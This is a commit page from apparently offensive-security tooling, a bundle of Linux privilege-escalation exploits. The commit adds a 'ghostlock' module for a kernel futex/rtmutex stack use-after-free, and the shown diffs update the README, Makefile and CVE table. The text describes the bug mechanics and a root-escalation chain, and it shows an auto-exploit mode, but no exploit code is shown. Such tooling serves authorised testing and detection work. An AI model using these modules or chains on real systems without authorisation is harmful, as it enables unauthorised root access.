Compare commits

..

1 Commits

Author SHA1 Message Date
KaraZajac 03324c8542 modules: add ghostlock (CVE-2026-43499, "GhostLock" rtmutex/futex requeue-PI stack UAF)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
Adds the ghostlock module for CVE-2026-43499 ("GhostLock", VEGA / Nebula
Security's "IonStack part II") — a ~15-year race UAF on kernel STACK memory in
the rtmutex/futex requeue-PI path (kernel/locking/rtmutex.c). On the -EDEADLK
deadlock-rollback, remove_waiter() runs against `current` instead of the waiter
task, so a concurrent sched_setattr()-driven PI-chain priority walk on another
CPU clears pi_blocked_on on the wrong task and leaves an on-stack rt_mutex_waiter
dangling. Reachable by any unprivileged user (CVSS 7.8, PR:L) — plain
futex(2) + sched_setattr(2), no userns/CONFIG beyond CONFIG_FUTEX_PI. The
corpus's first rtmutex/futex-PI module and first kernel-stack UAF (all others
are heap/slab).

Introduced 2.6.39; fixed 3bfdc63936dd (7.1-rc1), stable backports
7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with
no upstream fix. CWE-416; not in KEV.

detect() is a pure version gate over the five-branch backport table. exploit()
forks an isolated child that (A) deterministically confirms the -EDEADLK
remove_waiter() rollback path is reachable (safe — no concurrent walk means no
dangling pointer; validated on real hardware) then (B) exercises the actual race
a hard-bounded 24 iters / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm,
and stops. Deliberately under-driven: no copy_from_user widening, no stack-frame
spray/reoccupation, and the KernelSnitch leak -> forged-waiter ->
fops/ashmem/pipe R/W -> cred-patch chain (Android/Pixel-specific, per-build
offsets) is NOT bundled. Returns EXPLOIT_FAIL. Lowest --auto safety rank (11) —
a won race corrupts the kernel stack. Unlike most races it ships a real
detection signature (futex requeue-PI returning EDEADLK + sibling sched_setattr);
auditd/sigma anchor on sched_setattr, falco/eBPF on the EDEADLK tell; no yara.

Wired: registry, Makefile, safety rank 11, version 0.9.13, 9 detect() test rows
(incl. 6.13.0 -> VULNERABLE, the multi-branch "newer than all" case), CVE
metadata (CWE-416 / T1068 / not-KEV; cve_metadata.c + KEV_CROSSREF.md regenerated
-> 13 of 40), README + CVES.md + website counts (45 modules / 40 CVEs),
RELEASE_NOTES v0.9.13, verify-vm target. Also corrects pre-existing
docs/index.html drift left by v0.9.12 (body counts stuck at 43/38 and a missing
bad_epoll corpus pill). Tests: 33 kernel_range + 101 detect, all pass.

Credit: VEGA / Nebula Security (nebusec.ai, NebuSec/CyberMeowfia, Apache-2.0);
upstream fix 3bfdc63936dd (Keenan Dong / Thomas Gleixner).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n
2026-07-13 15:43:00 -04:00
17 changed files with 999 additions and 49 deletions
+6 -5
View File
@@ -23,18 +23,18 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only historical reference only
**Counts:** 44 modules total covering 39 CVEs; **28 of 39 CVEs **Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0 verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
*candidate* with no module, not counted as a module.) *candidate* with no module, not counted as a module.)
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` / > **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` / > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` are blocked by their target environment (VMware-only, > `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` / `ghostlock` are blocked by their target environment (VMware-only,
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
> libs) or are brand-new this cycle, not by missing code (`bad_epoll` is > libs) or are brand-new this cycle, not by missing code (`bad_epoll` and
> a reconstructed epoll race trigger — deliberately under-driven and not > `ghostlock` are reconstructed race triggers — deliberately under-driven
> VM-verified). See > and not VM-verified). See
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
> >
> All three now have **pinned fix commits and version-based > All three now have **pinned fix commits and version-based
@@ -99,6 +99,7 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. | | CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. | | CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. | | CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
| CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. |
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. | | CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
## Operations supported per module ## Operations supported per module
+7 -1
View File
@@ -247,6 +247,11 @@ BEP_DIR := modules/bad_epoll_cve_2026_46242
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS)) BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
# CVE-2026-43499 ghostlock — rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security)
GHL_DIR := modules/ghostlock_cve_2026_43499
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
# Top-level dispatcher # Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o TOP_OBJ := $(BUILD)/skeletonkey.o
@@ -260,7 +265,8 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
$(GHL_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+33 -29
View File
@@ -5,7 +5,7 @@
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. 44 Linux LPE modules covering 39 CVEs from 2016 → 2026. > **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux > Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
> the safest one and runs it.** > the safest one and runs it.**
@@ -45,9 +45,9 @@ for every CVE in the bundle — same project for red and blue teams.
## Corpus at a glance ## Corpus at a glance
**44 modules covering 39 distinct CVEs** across the 2016 → 2026 LPE **45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 39 CVEs have been empirically verified** in real timeline. **28 of the 40 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 11 still-pending entries are Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
blocked by their target environment (legacy hypervisor, EOL kernel, or blocked by their target environment (legacy hypervisor, EOL kernel, or
the t64-transition libc rollout) or are brand-new additions awaiting a the t64-transition libc rollout) or are brand-new additions awaiting a
VM sweep, not by missing code. VM sweep, not by missing code.
@@ -68,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload · nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
### Empirical verification (28 of 39 CVEs) ### Empirical verification (28 of 40 CVEs)
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
each verdict against a known-target VM. Coverage: each verdict against a known-target VM. Coverage:
@@ -81,7 +81,7 @@ each verdict against a known-target VM. Coverage:
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup | | Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
**Not yet verified (11):** `vmwgfx` (VMware-guest-only — no public Vagrant **Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box), box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04 `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
@@ -93,7 +93,9 @@ kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed + patched-kernel discriminator pending), `nft_catchall` (reconstructed
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
race trigger — deliberately under-driven, not VM-verified). All eleven are race trigger — deliberately under-driven, not VM-verified), `ghostlock`
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
under-driven, not VM-verified). All twelve are
flagged in flagged in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale. [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
@@ -141,7 +143,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know $ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes [*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 44 modules for vulnerabilities... [*] auto: scanning 45 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100) [+] auto: pwnkit VULNERABLE (safety rank 100)
@@ -210,24 +212,24 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status ## Status
**v0.9.12 cut 2026-07-04.** 44 modules across 39 CVEs — **every **v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
year 2016 → 2026 now covered**. Newest: `bad_epoll` (CVE-2026-46242, year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
Jaeyoung Chung's "Bad Epoll" — a race use-after-free in `fs/eventpoll.c` VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
where `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the use-after-free on **kernel stack** memory where `remove_waiter()` clears
file while a concurrent `__fput()` frees the still-referenced `pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
`struct eventpoll`; reachable by **any unprivileged user with no user raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any
namespace**, weaponised via cross-cache + `/proc/self/fdinfo` arb-read; unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public
kernelCTF public PoC — shipped as a deliberately under-driven, reconstructed PoC ($92k, ~97% stable) — shipped as a deliberately under-driven,
reachability trigger with the corpus's lowest `--auto` safety rank), reconstructed trigger anchored on a safe `-EDEADLK` reachability witness
`nft_catchall` (CVE-2026-23111, with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242,
the nf_tables `nft_map_catchall_activate` abort-path UAF — an inverted Jaeyoung Chung's "Bad Epoll" — a race UAF in `fs/eventpoll.c` reachable by
condition frees a chain still referenced by a catch-all GOTO map element; any unprivileged user with no user namespace; kernelCTF public PoC),
public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243, `nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate`
Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts abort-path UAF — an inverted condition frees a chain still referenced by a
userspace-forged authority fields, coercing the root `cifs.upcall` helper catch-all GOTO map element; public reproduction by FuzzingLabs), and
into loading an attacker NSS module as root), and `ptrace_pidfd` `cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" — the
(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd` `cifs.spnego` key type trusts userspace-forged authority fields, coercing
credential-steal). the root `cifs.upcall` helper into loading an attacker NSS module as root).
v0.9.0 added 5 gap-fillers v0.9.0 added 5 gap-fillers
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` / (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` / `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
@@ -257,13 +259,13 @@ Reliability + accuracy work in v0.7.x:
trace, OPSEC footprint, detection-rule coverage, verified-on trace, OPSEC footprint, detection-rule coverage, verified-on
records. Paste-into-ticket ready. records. Paste-into-ticket ready.
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches - **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
CISA KEV catalog + NVD CWE; 13 of 39 modules cover KEV-listed CVEs. CISA KEV catalog + NVD CWE; 13 of 40 modules cover KEV-listed CVEs.
- **151 detection rules** across auditd / sigma / yara / falco; one - **151 detection rules** across auditd / sigma / yara / falco; one
command exports the corpus to your SIEM. command exports the corpus to your SIEM.
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
exploit, structured verdict table, scan summary, `--dry-run`. exploit, structured verdict table, scan summary, `--dry-run`.
Not yet verified (11 of 39 CVEs): `vmwgfx` (VMware-guest only), Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline `dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7), 4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
@@ -272,7 +274,9 @@ libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain + `cifswitch` (cifswitch detect + primitive VM-verified; full chain
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
VM-verified) + `bad_epoll` (reconstructed epoll race trigger, VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
deliberately under-driven, not VM-verified). Rationale in deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
VM-verified). Rationale in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
